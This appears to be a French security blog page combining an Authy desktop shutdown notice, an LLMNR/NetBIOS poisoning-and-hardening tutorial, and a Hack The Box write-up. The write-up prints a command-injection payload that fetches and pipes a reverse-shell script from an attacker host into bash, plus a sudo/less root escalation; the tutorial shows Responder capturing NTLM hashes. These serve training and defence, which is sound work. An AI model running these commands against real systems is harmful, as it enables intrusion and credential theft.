Twilio a fait une annonce importante pour les utilisateurs d'Authy : les applications desktop pour Windows, Linux et macOS vont être stoppés en août 2024. Il ne restera plus que l'application mobile Authy. Voici ce qu'il faut savoir !
Depuis plusieurs années, l'entreprise américaine Twilio propose une application baptisée Authy, dont l'objectif est de vous permettre de gérer vos codes d'authentification à usage unique utilisés dans le cadre du MFA/2FA. Autrement dit, il s'agit d'une alternative à d'autres applications telles que FreeOTP, Microsoft Authenticator, ou encore Google Authenticator.
Jusqu'ici, Authy était disponible à la fois sur mobile et sur ordinateur par l'intermédiaire d'applications officielles. Authy est une application populaire avec des fonctions très intéressantes ! Par exemple, nous pouvons citer la possibilité de générer un code à usage unique en étant hors ligne, de synchroniser nos comptes entre plusieurs appareils, ou encore de sauvegarder sa configuration dans le Cloud (sauvegarde chiffrée).
Les choses vont changer. Twilio a pris la décision d'arrêter toutes les applications desktop d'Authy à compter d'août 2024. En effet, Twilio souhaite concentrer ses efforts là où la demande est plus forte : il est vrai que les applications de ce type sont principalement utilisées sur mobile. "Nous avons pris la décision difficile de mettre fin aux applications de bureau Twilio Authy afin de rationaliser nos activités et d'offrir plus de valeur aux solutions existantes pour lesquelles nous constatons une demande croissante.", peut-on lire sur une page de support d'Authy. Actuellement, la société Twilio traverse une zone de turbulences...
Dès à présent, Twilio vous encourage à laisser tomber l'application desktop pour passer sur la version mobile d'Authy, que ce soit sur iOS ou Android. Pour faciliter la transition de l'ordinateur vers le mobile, sachez que vous pouvez utiliser la fonction de sauvegarde afin de synchroniser vos comptes vers votre mobile.
Si vous ne pouvez pas utiliser une application mobile pour générer vos codes TOTP, sachez qu'il existe toujours d'autres solutions... Par exemple, l'application gratuite KeePassXC est capable d'assumer ce rôle.
Dans ce tutoriel, nous allons partir à la découverte du protocole LLMNR, ainsi que du protocole NetBIOS ! Utilisé en environnement Windows pour effectuer de la résolution de noms, LLMNR est un protocole vulnérable à différentes attaques qu'il est préférable de ne pas utiliser et de désactiver.
Après une présentation du protocole LLMNR et de son fonctionnement, nous verrons quels sont les risques liés à son utilisation avant de voir comment le désactiver dans un environnement Active Directory. Nous verrons également comment désactiver le protocole NetBIOS.
Le protocole LLMNR pour Local Link Multicast Name Resolution, est un protocole utilisé en environnement Windows pour effectuer de la résolution de noms localement, c'est-à-dire via l'émission d'un paquet sur le réseau local. LLMNR est le successeur de NBT-NS (NetBIOS) et il a été introduit dans Windows Vista pour la première fois.
Vous allez me dire : "LLMNR n'est pas utile puisque l'on utilise le DNS ?". C'est vrai, mais aujourd'hui LLMNR est toujours activé par défaut sur Windows donc il est susceptible d'être utilisé. Sachez que cela se produira dans le cas où la résolution DNS échoue. Ce qui est bien plus fréquent qu'on ne le croit sur un système d'information, une simple typo dans le nom d'un serveur suffit à générer l'émission de plusieurs requêtes LLMNR sur le réseau. Aussi, les noms requêtés peuvent provenir d'erreur dans la configuration, d'ancien nom de domaine qui ne sont plus utilisés, d'un poste qui change de réseau fréquemment, etc.
Sachez également que dans un environnement en "workgroup", le protocole LLMNR est utilisé pour effectuer la découverte du réseau.
Lorsque nous tentons de résoudre un nom à partir d'une machine Windows, le système d'exploitation va effectuer la vérification dans cet ordre (comme indiqué dans la documentation Microsoft) :
1 - Le nom d'hôte demandé est-il celui de la machine locale ?
2 - Le nom d'hôte demandé est-il indiqué dans le fichier hosts de la machine (C:\Windows\System32\drivers\etc\hosts)
3 - Le nom d'hôte demandé est-il présent dans le cache DNS de la machine ? Ceci revient à consulter le cache local avec la commande PowerShell "Get-DnsClientCache" ou la commande "ipconfig /displaydns".
4 - Le nom d'hôte demandé reste introuvable, donc Windows va solliciter le serveur DNS configuré sur l'interface réseau active de la machine.
5 - En dernier recours, si aucune réponse n'est obtenue, Windows va émettre deux requêtes sur le réseau : une requête NBT-NS en broadcast et une requête LLMNR en multicast afin de tenter d'obtenir une réponse. Nous pouvons dire que LLMNR repose sur le principe du voisinage réseau.
6 - Aucune réponse : échec de la recherche
Vous l'aurez compris : la recherche s'arrête à partir du moment où le nom a pu être résolu par Windows. Ainsi, si le nom d'hôte demandé est identifié dans le fichier hosts, alors Windows ne sollicitera pas son cache DNS, ni même le serveur DNS configurés sur la carte réseau, et il n'utilisera pas non plus le protocole LLMNR.
Remarque : le protocole LLMNR fonctionne en UDP sur le port 5355.
III. Qu'est-ce que le protocole NetBIOS ?
Au même titre que LLMNR, le protocole NetBIOS over TCP/IP, appelé également NBT-NS, est utilisé pour effectuer de la recherche de ressources sur un réseau local.
Contrairement au LLMNR qui diffuse une requête multicast, le NetBIOS diffuse une requête de broadcast lorsqu'il effectue une recherche. Autre différence : NetBIOS fonctionne uniquement en IPv4, alors que LLMNR fonctionne aussi bien en IPv4 qu'en IPv6.
Remarque : le protocole NetBIOS s'appuie sur plusieurs ports pour fonctionner (ports 137/UDP, 138/UDP et 139/TCP).
IV. Quels sont les risques associés à LLMNR et NetBIOS ?
A. Poisoning et MiTM
Le protocole LLMNR (ainsi que le NetBIOS) est vulnérable à des attaques de type poisoning et man-in-the-middle (MiTM).
Si une machine Windows tente de résoudre un nom d'hôte, elle va chercher à obtenir une réponse en sollicitant les services de résolutions de noms dans l'ordre évoqué précédemment dans cet article. Si ce processus arrive jusqu'à la fin, Windows va émettre un paquet LLMNR en multicast sur le réseau pour tenter d'obtenir une réponse... C'est là qu'un attaquant peut intervenir en se faisant passer par l'hôte recherché par le client Windows.
En effet, si un attaquant répond à une requête LLMNR, il peut envoyer une fausse information à la machine Windows. Celle-ci ne sera pas capable de déterminer si la réponse est légitime ou non, ni même à quoi correspond l'hôte de destination, car il n'y a aucune authentification. Ainsi, la machine Windows sera susceptible de tenter une authentification auprès du serveur contrôlé par l'attaquant.
Grâce à cela, l'attaquant peut récupérer des identifiants, que ce soit le hash Net-NTLM, des identifiants HTTP, etc... En fonction du type de service. S'il s'agit d'un hash Net-NTLM, il sera possible de le réutiliser ou de le casser à l'aide d'un outil tel que hashcat ou John The Ripper.
Si l'authentification Windows utilisée repose sur NTLMv2 (donc un challenge-réponse), les échanges récupérés seront plus difficiles à casser pour récupérer le mot de passe utilisateur. Il reste possible d'effectuer une attaque dite SMB-relay, qui consiste pour l'attaquant à jouer les intermédiaires entre le client empoisonné et le serveur légitime, afin d'usurper la session SMB d'un utilisateur sans connaitre son mot de passe.
B. LLMNR poisoning avec Responder
Si vous souhaitez mettre en pratique ce type d'attaque, vous pouvez utiliser l'outil Python Responder. Il présente l'avantage de prendre en charge différents types de services pour "piéger" la machine Windows (SMB, HTTP, HTTPS, LDAP, etc.), aussi bien en IPv4 qu'en IPv6. Nous pouvons l'utiliser facilement puisqu'il est intégré à Kali Linux.
Imaginons une machine sous Windows Server (ou Windows), à partir de laquelle nous souhaitons accéder à un serveur de fichiers nommé "srv-fichier". Et une seconde machine, sous Kali Linux, avec l'outil Responder. Toutes les machines sont connectées sur le même réseau.
Tout d'abord, nous allons préparer la machine de l'attaquant. L'outil Responder contient de nombreuses options, mais nous allons simplement l'exécuter avec les options par défaut et le mettre en écoute sur l'interface "eth0" de la machine Kali Linux :
sudo responder -I eth0
A partir de ce moment-là, Responder est en attente... Il est à l'écoute du trafic réseau, notamment des requêtes LLMNR et NBT-NS.
Depuis le serveur Windows, nous allons accéder aux serveurs "srv-fichier" via le protocole SMB donc nous allons utiliser un chemin UNC : "\\<nom du serveur>\". Nous allons volontairement effectuer une erreur de saisie dans le nom (ce qui dans la vie réelle, peut arriver !) :
\\srv-fichiers\
Ainsi, le serveur DNS ne pourra pas nous rediriger vers notre serveur de fichiers, car il ne connait pas "srv-fichiers". Notre machine Windows Server va donc solliciter le réseau local pour "localiser" cet hôte... C'est là que Responder intervient !
En temps normal, nous aurions obtenu une erreur puisque Windows ne parvient pas à localiser notre serveur... Mais là, une fenêtre "Entrer les informations d'identification réseau" s'affiche afin que l'on puisse saisir nos identifiants dans le but de nous authentifier auprès du serveur "srv-fichiers". Tant qu'à faire, nous allons indiquer le compte Administrateur du domaine Active Directory auquel appartient notre serveur...
Sauf que nous ne sommes pas en train de nous authentifier auprès du serveur de fichiers, mais auprès de Responder ! Il a répondu à la requête LLMNR émise par l'hôte la machine Windows Server au moment où l'on cherchait à résoudre le nom "srv-fichiers". Notre client Windows Server a été empoisonné par Responder !
Ainsi, Responder est parvenu à collecter le nom d'utilisateur et le hash NTLMv2 du mot de passe saisit dans la fenêtre "Entrer les informations d'identification réseau". Une information sensible que l'on peut réutiliser via la technique Pass-the-hash ou que l'on pourrait essayer de "craquer" pour obtenir le mot de passe en clair...
Ceci est une démonstration très simple basée sur un accès SMB, mais elle met en évidence les faiblesses des protocoles LLMNR / NetBIOS ! Une erreur de saisie, un peu de naïveté, et on laisse fuiter des identifiants...! Dans un scénario man-in-the-middle, ceci serait possible, y compris avec un nom légitime de serveur.
Pour finir sur cette partie, sachez qu'il est possible d'utiliser Responder en mode "passif" grâce à l'option -A. Alors, il va simplement journaliser les paquets qu'il aurait pu exploiter (LLMNR/NBT-NS) sans tenter d'empoisonnement. C'est notamment utile si vous souhaitez avoir un diagnostic rapide concernant l'utilisation de ces protocoles sur votre réseau, sans tenter d'attaque. À noter qu'une analyse Wireshark avec un filtre LLMNR fera également l'affaire pour un diagnostic.
V. Active Directory : comment désactiver le protocole LLMNR ?
Dans un environnement Active Directory, les protocoles LLMNR et NetBIOS ne sont pas nécessaires pour assurer un fonctionnement normal. Ainsi, nous allons pouvoir les désactiver !
Toutefois, ne déployez pas massivement ce changement : effectuez des tests et déployez progressivement cette modification. Pourquoi ? Et bien, certains périphériques, notamment des imprimantes, peuvent avoir besoin du LLMNR (ou du NetBIOS) pour fonctionner.
Pour désactiver l'utilisation du LLMNR, vous devez créer une nouvelle stratégie de groupe afin de configurer un paramètre.
Ce fameux paramètre se situe à l'emplacement suivant :
Configuration ordinateur > Modèles d'administration > Réseau > Client DNS
A cet endroit, vous pourrez localiser un paramètre nommé "Désactiver la résolution de noms multidiffusion" (ou "Turn off multicast name resolution" en anglais).
Vous devez configurer le paramètre sur "Activé" pour désactiver la résolution de noms basée sur LLMNR.
La GPO est prête ! Un seul et unique paramètre de GPO est suffisant pour désactiver LLMNR sur les machines Windows. Il suffit de lier la GPO de manière à
VI. Active Directory : comment désactiver le protocole NetBIOS ?
Pour désactiver le protocole NetBIOS, nous pouvons procéder de différentes façons : voici trois méthodes que vous pouvez utiliser.
A. Désactiver manuellement le NetBIOS
Sous Windows, l'activation/désactivation du NetBIOS s'effectue interface réseau par interface réseau. Autrement dit, NetBIOS peut être activé sur une interface réseau et désactivé sur autre interface réseau.
Pour désactiver manuellement le NetBIOS sur une interface réseau, ouvrez le "Panneau de configuration", cliquez sur "Centre Réseau et partage" puis sur le nom de la carte (par exemple "Ethernet0") afin de cliquer sur "Propriétés". Ensuite, sélectionnez "Protocole Internet version 4 (TCP/IPv4)" et cliquez sur "Propriétés".
Vous allez obtenir la fenêtre présentée ci-dessous. Il vous suffira de :
1 - Cliquer sur le bouton "Avancé..."
2 - Cliquer sur l'onglet "WINS"
3 - Cocher l'option "Désactiver NetBIOS sur TCP/IP" au lieu de "Par défaut"
Validez, le tour est joué ! Cette action doit être répétée sur chaque interface réseau (et sur chaque machine) !
B. Désactiver le NetBIOS par GPO
Pour désactiver le NetBIOS explicitement sur chaque interface réseau de Windows, nous allons devoir configurer le Registre Windows. Si l'on regarde de plus près le Registre Windows, nous pouvons voir que sous :
Il y a une clé de Registre par interface réseau présente sur la machine. À chaque fois, chaque clé de Registre contient une valeur nommée "NetbiosOptions" qui indique si le NetBIOS est activé ou désactivé. En fait, c'est le reflet de l'option que nous avons configuré précédemment (méthode manuelle).
Nous remarquons également que chaque clé est nommée sous la forme "Tcpip_{ID}" et ces valeurs seront différentes d'une machine à une autre. Mais, finalement, ce n'est pas un problème, car une seule et unique commande PowerShell va nous permettre de désactiver NetBIOS sur toutes les interfaces de la machine en configurant l'option "NetbiosOptions" dans le Registre :
Le fait d'ajouter le paramètre "-Verbose" permet d'en savoir plus sur les actions effectuées par la commande. Ceci est utile pour vérifier que PowerShell modifie bien l'option de chaque interface réseau présente dans le Registre (sous "Interfaces").
COMMENTAIRES : Opération « Définir la propriété » en cours sur la cible « Élément : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_{04d8a5a6-b0cc-47ac-9db9-66e7d949eee3} Propriété : NetbiosOptions ».
COMMENTAIRES : Opération « Définir la propriété » en cours sur la cible « Élément : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_{56acc37a-293b-4036-8ed6-074387cd226d} Propriété : NetbiosOptions ».
COMMENTAIRES : Opération « Définir la propriété » en cours sur la cible « Élément : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\Interfaces\Tcpip_{6aa63069-e2a1-43d8-bd3c-01586317d391} Propriété : NetbiosOptions ».
Pour désactiver NetBIOS par GPO, nous devons exécuter cette commande sur les machines à l'aide d'un script PowerShell !
L'objectif étant de créer une GPO qui va exécuter un script au démarrage de l'ordinateur. Ouvrez la console de gestion des stratégies de groupe pour créer une nouvelle GPO... et laissez-vous guider.
1 - Parcourez les paramètres de GPO de cette façon :
Configuration ordinateur > Paramètres Windows > Scripts (démarrage/arrêt)
2 - Double-cliquez sur "Démarrage"
3 - Cliquez sur l'onglet "Script PowerShell"
4 - Cliquez sur le bouton "Ajouter"
5 - Cliquez sur le bouton "Parcourir"
6 - Sélectionnez le script PowerShell et validez (vous pouvez le copier-coller à cet emplacement s'il n'est pas encore là, mais l'essentiel étant de bien veiller à utiliser un chemin réseau)
Voilà, la GPO est prête ! Vous pouvez l'appliquer sur les mêmes machines que la GPO pour LLMNR.
C. Désactiver le NetBIOS via le DHCP (option 001)
En tant que complément ou alternative à la méthode par GPO, nous pouvons compter sur notre serveur DHCP pour désactiver le NetBIOS ! En effet, l'option 001 disponible sur les serveurs DHCP sous Windows Server permet d'activer ou désactiver le NetBIOS sur l'interface réseau qui va récupérer l'adresse IP.
Lorsque cette option n'est pas configurée, le NetBIOS est actif sur l'interface réseau : c'est le comportement par défaut. Nous pouvons le vérifier facilement avec cette commande :
ipconfig /all
Dans la sortie de cette commande, nous pouvons lire : "NetBIOS sur Tcpip : activé".
Désormais, sur le serveur DHCP, nous allons configurer une nouvelle option d'étendue pour désactiver le NetBIOS.
1 - A partir de la console DHCP, accédez à votre étendue et cliquez sur "Options d'étendue". Effectuez un clic droit et choisissez "Configurer les options...".
2 - Cliquez sur l'onglet "Avancé" présent dans la fenêtre "Options étendue".
3 - Pour l'option "Classe de fournisseur", choisissez "Options Microsoft Windows 2000".
4 - Cochez l'option "001 Option Microsoft de désactivation du NetBIOS" pour la configurer sur cette étendue
5 - Attribuez la valeur "0x2" à cette option pour désactiver le NetBIOS.
Note : vous pouvez définir cette option au niveau des options du serveur DHCP pour que toutes vos étendues héritent de la configuration de cette option.
Ainsi, lorsqu'une machine va renouveler son bail DHCP en sollicitant notre serveur DHCP, elle va désactiver le NetBIOS. Pour rappel, vous pouvez libérer un bail DHCP et demander une nouvelle configuration réseau avec ces deux commandes :
ipconfig /release
ipconfig /renew
L'exemple ci-dessous montre bien que le NetBIOS est désactivé, contrairement à l'état de l'interface avant de configurer l'option dans le DHCP.
Cette méthode est pratique et facile à mettre en œuvre si vous utilisez un serveur DHCP sous Windows Server. Par contre, elle a une limite : elle ne s'applique qu'aux clients DHCP. Autrement dit, ceci n'aura aucun effet sur les serveurs ou les machines avec une configuration réseau statique.
VII. Conclusion
LLMNR et NetBIOS sont des protocoles, qui en principe, sont là pour faciliter la vie de tout le monde, mais en réalité, ils représentent un danger. En environnement Active Directory, LLMNR et NetBIOS ne sont pas utiles et doivent être désactivés. À l'inverse, au sein d'un environnement workgroup (groupe de travail), ceci est différent, car il n'y a pas de serveur DNS local donc votre machine Windows peut avoir besoin de ces protocoles pour communiquer, via des noms, avec les autres appareils connectés au réseau local.
Du côté de Microsoft, des changements sont en cours de préparation pour désactiver par défaut certains protocoles, dont le NetBIOS. Plus globalement, l'entreprise américaine veut durcir la configuration de base de Windows 11 en limitant ou désactivant (par défaut) certains protocoles et composants.
Dans un prochain article, nous parlerons d'un autre protocole : mDNS. Lui aussi, c'est un protocole utilisé par Windows (mais aussi d'autres systèmes) pour effectuer de la résolution de noms lorsque la résolution DNS n'est pas disponible ou qu'elle échoue. Ainsi, désactiver LLMNR et NBT-NS ne suffit pas...
En attendant, intéressez-vous aux protocoles LLMNR et NetBIOS présentés dans l'article du jour ! Par ailleurs, pensez à vous débarrasser d'autres protocoles comme SMBv1 ou encore NTLM.
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelés "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs.
Je vais vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.224
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
55555/tcp open unknown
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Mon, 21 Aug 2023 19:30:01 GMT
| Content-Length: 27
| href="/web">Found</a>.
La surface d'attaque du serveur est composée d'un service d'administration SSH et d'un service en écoute sur le port TCP/55555. D'après les premières prises d'empreinte réalisées par nmap, il semble que celui-ci soit un service web exposant notamment un point d'entrée /web. L'accès à ce service web via navigateur nous permet très rapidement d'identifier l'application web utilisée, mais aussi sa version !
Visiblement cette application permet de créer des collections et d'inspecter des requêtes HTTP (à l'image des services en ligne tel que requestbin). Quelques recherches Google nous permettent de découvrir que cette version de Request Baskets est vulnérable à une attaque SSRF, ou Server-Side Request Forgery.
Ce type d'attaque nous permet, à travers la manipulation des paramètres ou en-têtes envoyés à l'application web, de forcer le serveur à émettre une requête vers un service de notre choix, et parfois de visualiser la réponse qu'il a obtenue. Qu'est-ce qu'un attaquant peut faire de cela ? Après tout, les serveurs comme tout système connecté, émettent des requêtes HTTP, DNS, et autres, et cela continuellement. Généralement, les impacts des SSRF peuvent être multiples :
Forcer le serveur à se connecter sur l'un de nos services en ligne, ce qui nous permettra d'obtenir son IP (intéressant si le système est caché derrière un CDN), mais aussi des informations techniques comme le user-agent utilisé (et peut être une version de Python, curl ou autre) ;
Aller requêter les services voisins du serveur qui nous ne sont pas directement joignables, comme son service de base de données, ou le réseau interne de l'entreprise ;
Effectuer une énumération locale des services exposés, puisque c'est le serveur qui émet la requête, il a accès à des services locaux qui ne sont pas exposés sur l'extérieur ;
Contourner une authentification sur l'application web elle-même, lorsqu'une requête provient de localhost, certains mécanismes d'authentification sautent ;
Nous voyons qu'en changeant la source d'une requête, nous pouvons utiliser notre serveur cible pour faire bien des choses. Cette liste n'est évidemment pas exhaustive, l'impact et l'exploitation dépendent également du contexte d'exploitation. Je vous oriente vers les ressources suivantes (très complètes) pour obtenir plus d'informations sur les SSRF :
En cybersécurité, le terme "PoC" fait référence à "Proof of Concept" (preuve de concept). Il s'agit d'une démonstration pratique visant à prouver qu'une vulnérabilité particulière peut être exploitée. La plupart du temps, les PoC sont des scripts d'exploitation simples ou la description d'une suite d'opérations à mener sur une cible donnée et permet de reproduire la vulnérabilité découverte.
Si l'on étudie ce PoC, nous voyons notamment que l'exploitation de la SSRF passe par l'injection dans le paramètre forward_url d'une URL cible (celle que l'on souhaite faire requêter par le serveur) lors de la création d'un bucket :
Plutôt que d'utiliser le script, je décide de générer moi-même une requête malveillante basée sur ces informations à l'aide de mon navigateur et d'un proxy local (BurpSuite).
Un proxy local est un serveur intermédiaire situé localement sur votre machine, il se positionne entre le client (navigateur) et le serveur web pour intercepter les échanges HTTP, les rejouer, les stocker ou les modifier. Il s'agit d'un outil indispensable aux tests d'intrusion web, mais peut aussi être utilisé pour du debug puisqu'il permet d'étudier précisément tous les échanges, de voir les paramètres, les en-têtes, etc.
Pour l’utiliser, il faut bien sûr installer et démarrer la solution (BurpSuite Community ou OWASP ZAP), puis configurer le proxy de son navigateur vers le port du proxy local (souvent 127.0.0.1:8080).
Le paramètre forward_url va tout simplement rediriger la requête provenant du client vers la page indiquée, le serveur agira alors comme un proxy. Voici à quoi ressemble la requête malveillante au sein de BurpSuite :
Ici, je cible le service http://127.0.0.1:80 après plusieurs tentatives infructueuses d'exploitation sur d'autres services externes ou internes. L'idée est de faire requêter par le serveur son service en écoute sur le port 80. Ce dernier n'est pas joignable depuis l'extérieur si l'on regarde le résultat de notre scan réseau, mais il semble tout de même en écoute locale. Je peux ensuite me rendre sur la collection créée :
Je génère ensuite une requête vers la collection, ce qui va activer l'exploitation de la SSRF et faire en sorte que le serveur requête son service interne sur le port TCP/80 :
Il y a bien un service web en écoute sur le port TCP/80, et même une application web dont nous obtenons directement la version. À nouveau, qui dit version dit recherche de vulnérabilités connues. Quelques recherches Google nous orientent rapidement vers une vulnérabilité de type RCE (Remote Command Execution) : Unauthenticated OS Command Injection in stamparm/maltrail in stamparm/maltrail.
Le PoC est ici simple à comprendre, la vulnérabilité touche le point d'entrée /login, il faut donc commencer par mettre à jour notre payload SSRF pour que le serveur requête ce point d'entrée /login et non plus la racine du service web (/) :
Ensuite, l'injection a lieu dans le paramètre username, il faut utiliser un caractère de fin de commande bash ( ; ) puis insérer notre commande malveillante. Ici, je décide de faire télécharger un script Bash puis de l'exécuter, cela m'évite d'avoir à gérer des caractères spéciaux qui pourraient altérer la requête HTTP :
L'utilisation du "|bash" permet d'exécuter le script téléchargé, sans même qu'il ne soit déposé sur le système. Mon script Bash contient simplement une suite d'instructions me permettant d'avoir un shell distant sur le système cible : un reverse shell en tant que l'utilisateur exécutant le service web (puma).
Voilà l'impact d'une RCE (Remote Command Execution), ces vulnérabilités permettent d'avoir une exécution de commande système et donc de le compromettre. Nous sommes à présent libre de parcourir le système via un shell bash, en s'affranchissant totalement des contraintes de l'application web. Suite à l'obtention d'un shell distant sur le système, nous pouvons nous intéresser au code qui mène à cette vulnérabilité, et notamment au fichier mailtrail/core/http.py qui contient le code relatif à la fonction de login :
Nous voyons effectivement que le paramètre username est inséré sans contrôle préalable dans la fonction subprocess.check_output. Cette dernière exécute une commande système et retourne son contenu. En insérant dans notre username un caractère de fin de commande (;), la commande :
logger -p auth.info -t XX XX password for XX from XX port XX.
devient :
logger -p auth.info -t XX XX password for id;`curl+http://10.10.16.10:8000/revshell.sh|bash` from XX port XX.
Ici, la commande logger -p auth.info -t XX XX password for id; va correctement s'exécuter, mais la deuxième peut paraître incohérente et entraînera une erreur. Cependant, le système va interpréter la substitution de commande (le curl et le bash entre "`" ) avant la commande finale, cette exécution avant une éventuelle erreur nous suffit largement pour obtenir notre reverse shell.
D. Élévation de privilèges : systemctl et son pager
Nous avons à présent un premier accès au système, tentons d'obtenir un accès avec un niveau de privilèges plus élevé. Parmi les premières actions de découverte de l'attaquant dans le cadre d'une élévation de privilèges, la récupération des dérogations d'exécution via sudo est assez classique :
Nous voyons qu'une dérogation d'exécution d'une commande en tant que root nous est accordée via cette configuration sudo, et ce sans saisie du mot de passe de l'utilisateur courant (instruction NOPASSWD) :
Les dérogations d'exécution de commande via sudo sont une zone à risque pour la sécurité des systèmes Linux. Leur but est d'autoriser un utilisateur ou un groupe d'utilisateur à exécuter une commande en tant qu'un autre utilisateur (root, mais pas seulement). Il s'agit donc d'une autorisation d'élévation de privilèges pour une commande précise. L'objectif pour l'attaquant sera de tenter d'abuser de cette autorisation pour exécuter d'autres binaires ou commandes que celles autorisées.
Une fois de plus, nous allons faire appel à une excellente ressource sur le sujet : https://gtfobins.github.io/. Ce site référence un grand nombre d'exploitations et d'abus de commande Linux (élévation de privilèges, téléchargement/export de fichier, etc) :
Il s'agit d'exploiter le pager utilisé par défaut lors de l'exécution de la commande systemctl. Certains pagers nous permettent effectivement d'exécuter des commandes système.
Un pager est un programme conçu pour afficher le contenu d'un fichier texte ou la sortie d'une commande en le présentant de manière paginée, c'est-à-dire une page à la fois. Cela permet de consulter les informations en évitant, lorsqu'il y a trop de lignes en sortie, que les premières lignes ne déroulent trop vite. Les pagers les plus connus sont less et more.
Une petite astuce qui peut cependant faire perdre du temps : lorsque le terminal est sh (cas de notre reverse shell), aucun pager ne semble utilisé. Si nous tentons d'exécuter la commande systemctl via sudo, nous verrons en effet que toute la sortie s'affiche d'une traite, ne marquant aucun temps de pause. Pour que l'exécution de commande puisse se faire, il faut passer au préalable sur un terminal bash, ce que je fais à l'aide de la commande suivante :
C'est ce genre de petit détail qui peut poser problème lors de l'exploitation d'une vulnérabilité. C'est pourquoi il est important de connaître le fonctionnement précis des systèmes attaqués, il ne suffit pas de copier/coller un bout de code trouvé sur Internet. Savoir que la commande systemctl peut provoquer une sortie trop longue, qu'elle fait donc appel à un pager, que le pager est lié à une variable d'environnement nommée $PAGER, que cette dernière est customisable et qu'elle possède des valeurs par défaut différentes entre les shell utilisés (sh, bash, zsh), que les pager peuvent contenir des fonctionnalités d'exécution de commande, etc. C'est l'expérience, la curiosité et la connaissance qui permettent de résoudre ces problématiques.
Bref, maintenant que nous utilisons un shell bash et que ce dernier a comme pager par défaut less, nous pouvons tenter d'exploiter l'utilisation de ce dernier :
Après l’affichage de la première page, less marque un temps de pause et nous devons appuyer sur une touche pour passer à la page suivante, c'est là que nous pouvons saisir !sh pour exécuter un terminal sh. Ici, la vulnérabilité vient bien de less, qui est appelé par systemctl. Cependant, comme systemctl est exécuté en tant que root (grâce à sudo), less l'est également. Effectuer une exécution de commande via less nous permet donc d'obtenir les droits root et de compromettre le système cible.
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
Découverte et exploitation d'une dérogation de commande sudo faisant intervenir le pager less.
IV. Notions abordées
A. Côté attaquant
Un premier piège que je n'ai pas mentionné dans ce writeup est l'importance d'effectuer un scan complet des services potentiellement exposés sur un système ciblé. Il pouvait être facile de louper le port TCP/55555 si l'on se contentait d'utiliser les options par défaut de nmap, qui ne scanne que les 1024 ports les plus communs. En utilisant l'option -p-, on s'assure de scanner les 65535 ports TCP. Pour être plus complet et réaliste dans notre approche, un scan UDP aurait également dû être effectué.
Cette box nous a permis de voir que l'étude et la compréhension des PoC que l'on peut trouver sur Internet est importante. Parfois, ceux-ci sont à modifier en fonction du contexte d'exploitation et il ne suffit pas de les exécuter à l'aveugle. Dans un contexte réel, il est primordial de s'assurer que les codes d'exploitation utilisés ne vont pas causer de dégâts (interruption de service, suppression de données) avant de les utiliser.
Encore une fois, la détection des versions a été un élément important sur ce système. Il est à noter que l'outil searchsploit n'a pas été utile dans ce cas. Aucune base de données n'est complète et il est souvent nécessaire de les combiner pour avoir une recherche la plus exhaustive possible.
Enfin, étudier et comprendre en profondeur les éléments ciblés est très important. Nous avons vu que lors de l'exploitation de la commande systemctl via sudo, c'est en fait la commande less qui était vulnérable, il s'agit ici d'un cas simpliste, mais qui représente bien la précision avec laquelle il faut aborder l'aspect technique de la cybersécurité.
B. Côté défenseur
Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :
Recommandation n°1 : La recommandation principale serait de mettre à jour les applications web. De manière plus formelle, nous pouvons mentionner la directive n°34 du Guide d'hygiène de l'ANSSI : définir une politique de mise à jour des composants du système d’information.
Recommandation n°2 : Le fait qu'une seconde application web soit présente, mais pas directement exposée sur l'extérieur montre qu'il s'agit soit d'une application dédiée à un usage interne, soit d'une application web qui n'est pas encore en production. Dans les deux cas, il est recommandé d'appliquer une séparation stricte des usages. Une application web exposée sur l'extérieur possède une surface d'attaque importante et ne doit pas partager le même système qu'une application destinée uniquement à l'interne, qui de fait va traiter des informations qui ne sont pas publiques. La compromission de la première permettra d'impacter la sécurité de la seconde. C'est pourquoi il est recommandé de positionner la seconde application web sur un autre serveur, qui ne sera exposé qu'en interne et donc sur un autre réseau que la DMZ sur laquelle est censé se trouver le serveur compromis.
Recommandation n°3 : Également, il peut être recommandé d'améliorer le processus de mise en production des services et d'ajouter une phase d'audit avant mise en production. Cela est notamment vrai pour les applications qui sont issues d'un développement "maison" (ce qui n'est pas le cas ici), utilisant un code dont la sécurité n'a jamais été évaluée.
Recommandation n°4 : Il peut être recommandé de supprimer la dérogation sudo en place si celle-ci ne répond pas à un besoin métier. Sinon, il est recommandé d'interdire l'appel aux pagers, qui présentent des risques d'élévation de privilèges (supprimer les pagers du système potentiellement). Plus globalement, le guide de sécurisation des systèmes Linux de l'ANSSI propose plusieurs recommandations de durcissement en rapport avec l'utilisation de sudo : Recommandations de sécurité relatives à un système GNU/Linux.
J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord !
Enfin si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points ) : Tester Hack the Box Academy
